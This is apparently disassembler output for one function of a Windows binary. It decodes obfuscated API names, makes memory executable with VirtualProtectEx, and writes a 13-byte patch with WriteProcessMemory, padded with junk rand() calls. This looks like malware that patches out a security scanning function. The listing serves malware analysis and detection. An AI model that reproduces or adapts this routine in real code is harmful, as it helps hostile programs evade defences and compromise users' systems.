Function at 0x1400017e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x50
nop
push rcx
pop rsi
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x60
je 0x1400017f0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc6
je 0x140001800
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or edi, edi
mov r14d, 0x31
mov ecx, 0xa8
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c050]
mov ebp, 0xa8
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0x86
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xcc
mov byte [rax + 5], dl
xor cl, 0xc4
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
pop rdi
nop
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove ebp, r14d
movd xmm0, ebp
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c060]
movq qword [rax], xmm0
mov ecx, ebp
xor cl, 0xea
mov byte [rax + 8], cl
mov ecx, ebp
xor cl, 0xdd
mov byte [rax + 9], cl
mov ecx, ebp
xor cl, 0xce
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], cl
mov ecx, ebp
xor cl, 0xcd
mov byte [rax + 0xc], cl
xor bpl, 0xda
mov byte [rax + 0xd], bpl
mov byte [rax + 0xe], 0
push rdi
nop
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
pop rdi
nop
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd0
je 0x1400018f0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x85
je 0x140001900
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x98
je 0x140001910
movabs rax, 0xc302090209057dfd
mov qword [rsp + 0x35], rax
movabs rax, 0x57dfdfe4e05c031
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x2c], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2c
je 0x140001950
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf5
je 0x140001960
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xce
je 0x140001980
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rbx, [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
push rsi
pop rcx
nop
push rdi
pop rdx
nop
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf9
je 0x1400019f0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
mov r9d, 0xd
nop
push rsi
pop rcx
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd6
je 0x140001a30
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r9d, dword [rsp + 0x2c]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1000
nop
push rsi
pop rcx
nop
push rdi
pop rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x62
je 0x140001a70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xa8
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c070]
pxor xmm1, xmm0
movq qword [rax], xmm1
mov edx, ecx
xor dl, 0xc0
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xcd
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xcc
mov byte [rax + 0xa], dl
movdqa xmmword [rsp + 0x40], xmm1
movzx edx, byte [rsp + 0x43]
movzx r8d, byte [rsp + 0x45]
mov byte [rax + 0xb], dl
pxor xmm0, xmmword [0x14000c080]
mov byte [rax + 0xc], r8b
movd dword [rax + 0xd], xmm0
mov edx, ecx
xor dl, 0xf4
mov byte [rax + 0x11], dl
xor cl, 0xc6
mov byte [rax + 0x12], cl
mov byte [rax + 0x13], 0
push rax
pop rcx
nop
call fcn.140001b40
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret